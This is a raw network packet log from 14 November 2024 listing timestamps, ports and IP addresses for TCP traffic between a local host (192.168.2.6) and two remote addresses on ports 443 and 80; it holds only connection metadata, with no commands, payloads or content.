Nov 14, 2024 17:24:36.711177111 CET	443	49835	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.711271048 CET	49835	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.711491108 CET	49835	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.711520910 CET	443	49835	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.783883095 CET	443	49829	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.784265041 CET	443	49829	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.784316063 CET	49829	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.784337044 CET	443	49829	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.784387112 CET	443	49829	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.784441948 CET	49829	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.784483910 CET	49829	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.784492970 CET	443	49829	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.784502029 CET	49829	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.784506083 CET	443	49829	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.787410975 CET	49836	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.787499905 CET	443	49836	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.787583113 CET	49836	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.787741899 CET	49836	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.787765980 CET	443	49836	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.954149008 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:36.954211950 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:36.954221010 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:36.954283953 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:36.954474926 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:36.954485893 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:36.954495907 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:36.954518080 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:36.954525948 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:36.954577923 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:36.955271006 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:36.955281973 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:36.955291986 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:36.955322981 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:36.955353975 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:36.959131956 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:36.959223986 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:36.959232092 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:36.959294081 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.114896059 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.115021944 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.115057945 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.115192890 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.115248919 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.115261078 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.115272045 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.115305901 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.115361929 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.115736961 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.115978956 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.115989923 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.116039991 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.116283894 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.116295099 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.116305113 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.116316080 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.116333961 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.116365910 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.116981983 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.117037058 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.117110968 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.117124081 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.117161989 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.117470026 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.117481947 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.117527008 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.117825031 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.117836952 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.117846012 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.117883921 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.118330002 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.118343115 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.118386984 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.154136896 CET	443	49833	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.154647112 CET	49833	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.154670000 CET	443	49833	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.156413078 CET	49833	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.156424046 CET	443	49833	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.275661945 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.275679111 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.275824070 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.275827885 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.275998116 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.276010036 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.276062012 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.276370049 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.276381969 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.276546001 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.276746988 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.276758909 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.276814938 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.277285099 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.277296066 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.277306080 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.277332067 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.277364016 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.277790070 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.277801991 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.277812958 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.277823925 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.277879000 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.278594017 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.278604984 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.278615952 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.278626919 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.278669119 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.278669119 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.279563904 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.279576063 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.279586077 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.279597044 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.279608011 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.279618979 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.279654026 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.280446053 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.280457020 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.280467033 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.280478001 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.280517101 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.280570984 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.281416893 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.281429052 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.281440020 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.281450033 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.281477928 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.281507969 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.282366037 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.282377958 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.282387972 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.282401085 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.282409906 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.282418966 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.282454014 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.283176899 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.283189058 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.283199072 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.283210039 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.283220053 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.283240080 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.283272028 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.284076929 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.284087896 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.284099102 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.284127951 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.284162045 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.284183025 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.289974928 CET	443	49833	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.290044069 CET	443	49833	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.290102005 CET	49833	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.292136908 CET	49833	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.292171955 CET	443	49833	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.292200089 CET	49833	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.292215109 CET	443	49833	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.296586990 CET	49837	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.296617985 CET	443	49837	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.296678066 CET	49837	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.297426939 CET	49837	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.297439098 CET	443	49837	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.436347008 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.436474085 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.436500072 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.436562061 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.436784029 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.436800957 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.436817884 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.436832905 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.436851025 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.436865091 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.436902046 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.436933994 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.437437057 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.437453985 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.437470913 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.437488079 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.437519073 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.437567949 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.438144922 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.438160896 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.438175917 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.438193083 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.438210011 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.438209057 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.438278913 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.438976049 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.438992023 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.439008951 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.439022064 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.439038992 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.439059973 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.439071894 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.439101934 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.439954996 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.439971924 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.439987898 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.440005064 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.440012932 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.440018892 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.440033913 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.440036058 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.440082073 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.440897942 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.440915108 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.440931082 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.440948009 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.440964937 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.440982103 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.440987110 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.441029072 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.441885948 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.441901922 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.441919088 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.441936016 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.441952944 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.441989899 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.442022085 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.442872047 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.442888975 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.442903996 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.442920923 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.442936897 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.442949057 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.442954063 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.443000078 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.443031073 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.443810940 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.443828106 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.443844080 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.443861008 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.443877935 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.443893909 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.443906069 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.443952084 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.444533110 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.444550037 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.444569111 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.444608927 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.499730110 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.520833969 CET	443	49834	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.521338940 CET	49834	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.521356106 CET	443	49834	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.522959948 CET	49834	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.522965908 CET	443	49834	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.523011923 CET	443	49836	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.523351908 CET	49836	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.523405075 CET	443	49836	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.523720980 CET	49836	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.523735046 CET	443	49836	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.556303024 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.556394100 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.556411982 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.556458950 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.556766033 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.556782007 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.556797981 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.556809902 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.556814909 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.556840897 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.557444096 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.557461977 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.557478905 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.557495117 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.557496071 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.557512045 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.557532072 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.557552099 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.558342934 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.558357954 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.558374882 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.558391094 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.558407068 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.558414936 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.558424950 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.558446884 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.558459044 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.559267998 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.559284925 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.559300900 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.559328079 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.559330940 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.559344053 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.559367895 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.560168028 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.560187101 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.560201883 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.560218096 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.560220003 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.560236931 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.560246944 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.560256958 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.560281992 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.561089039 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.561106920 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.561122894 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.561136961 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.561146021 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.561161995 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.561191082 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.561203957 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.561944962 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.561963081 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.561979055 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.562006950 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.596976995 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.597101927 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.597117901 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.597134113 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.597147942 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.597182035 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.597469091 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.597531080 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.597556114 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.597691059 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.597707033 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.597723007 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.597738028 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.597764969 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.598129988 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.598145962 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.598160982 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.598176003 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.598182917 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.598192930 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.598208904 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.598223925 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.598223925 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.598247051 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.598985910 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.599003077 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.599037886 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.640364885 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.649236917 CET	443	49835	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.649744987 CET	49835	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.649764061 CET	443	49835	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.650310993 CET	49835	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.650316954 CET	443	49835	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.653261900 CET	443	49836	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.653357983 CET	443	49836	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.653430939 CET	49836	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.653585911 CET	49836	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.653631926 CET	443	49836	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.653664112 CET	49836	443	192.168.2.6	13.107.246.45
